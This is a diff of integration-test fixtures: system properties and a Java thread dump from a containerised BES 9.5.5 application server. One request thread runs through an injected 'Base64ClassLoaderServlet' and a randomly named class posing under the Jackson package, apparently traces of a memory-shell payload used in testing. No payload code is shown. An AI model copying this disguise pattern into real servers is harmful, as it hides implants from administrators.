java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #80 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"Spark_4" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"httpWorkerThread-8080-2" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-1900-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@25b4ba8f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"SelectorReaderThread-8080-1" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #60 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"LifecycleThread[com.bes.appserv]-1" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@146bd4e6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@32b9af7c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"ReadWriteBlockThread-0" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + +"httpWorkerThread-8080-6" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.fasterxml.jackson.EwGWk.ErrorKnbprHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:92) + at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50) + at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:136) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:77) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:83) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:349) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:662) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:807) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1688) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"AsyncTimeoutThread-1900" #75 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-1900-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[172.17.0.3:6600]" #96 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@144f793b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"jmsra-WorkerThread-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Spark_3" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"ReadWriteBlockThread-1" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + +"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@142fd9ff + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:460) + at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) + at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) + at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) + at java.lang.Thread.run(Thread.java:750) + +"httpWorkerThread-8080-4" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #57 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ea9f378 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Spark_2" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"jmsra-WorkerThread-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-172.17.0.3" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #99 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.bes.ejb.spark.tcp.threadpool.PreSelector +com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl +com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl +com.bes.ejb.spark.tcp.transport.AcceptorThread +com.bes.enterprise.appserver.startup.Bootstrap +com.bes.enterprise.base.disruptor.BatchEventProcessor +com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier +com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy +com.bes.enterprise.base.disruptor.util.Util +com.bes.enterprise.server.builder.BesWebModule +com.bes.enterprise.startup.ASMain +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller +com.bes.enterprise.web.util.net.NioEndpoint$Acceptor +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webext.BESAppservValve +com.bes.enterprise.webext.BesContextCleanupValve +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.connector.CoyoteWriter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +com.fasterxml.jackson.EwGWk.ErrorKnbprHandler diff --git a/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt index e156f3d1..f65a2e20 100644 --- a/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/Bes955ContainerTestBasicInfo.txt @@ -1,4 +1,4 @@ -# Generated At 2025-08-10 14:56:20 +# Generated At 2026-05-24 05:04:43 SystemProps: bes.loader: bes-system java.vendor: Oracle Corporation @@ -22,11 +22,11 @@ user.name: root shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar" org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true com.bes.resource.ejb.leakDetect: false -com.bes.hostName: a1666f015eb3 +com.bes.hostName: 96b21756e3f9 java.naming.factory.initial: com.bes.jndi.CtxFactory user.language: en derby.system.home: /opt/bes -sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64 com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar com.bes.enterprise.log.outAndErrNotRedirect: false java.version: 1.8.0_342 @@ -50,7 +50,7 @@ java.home: /usr/local/openjdk-8/jre java.vm.info: mixed mode com.bes.instanceName: server com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider -os.version: 6.14.10-orbstack-00291-g1b252bd3edea +os.version: 6.8.0-111-generic path.separator: : java.vm.version: 25.342-b07 com.bes.verboseMode: true @@ -69,7 +69,7 @@ java.security.egd: file:/dev/./urandom user.home: /root com.bes.enterprise.needEncrypt.systemProperties: javax.net.ssl.trustStorePassword,javax.net.ssl.keyStorePassword java.specification.vendor: Oracle Corporation -java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64 +java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64 java.vendor.url: http://java.oracle.com/ com.bes.enterprise.deployments.classpath: false java.vm.vendor: Oracle Corporation @@ -77,7 +77,7 @@ common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/ com.bes.enterprise.startup.ExitOnInitFailure: true java.runtime.name: OpenJDK Runtime Environment sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start -java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar +java.class.path: /opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar com.bes.instanceRoot: /opt/bes java.vm.specification.name: Java Virtual Machine Specification com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket @@ -88,7 +88,7 @@ java.awt.headless: true java.io.tmpdir: /tmp java.vendor.url.bug: http://bugreport.sun.com/bugreport/ server.loader: -os.arch: aarch64 +os.arch: amd64 java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment bes.version: 9.5.5 com.bes.enterprise.embedder.source: ServerListener @@ -110,24 +110,108 @@ java.specification.version: 1.8 =========================================== ThreadStacks: -"Spark_2" #94 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7 +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #83 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346) + at java.lang.Thread.run(Thread.java:750) + +"FlushManager" #53 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230) + +"ReadWriteBlockThread-1" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296) + +"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3e0f54d9 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) - at 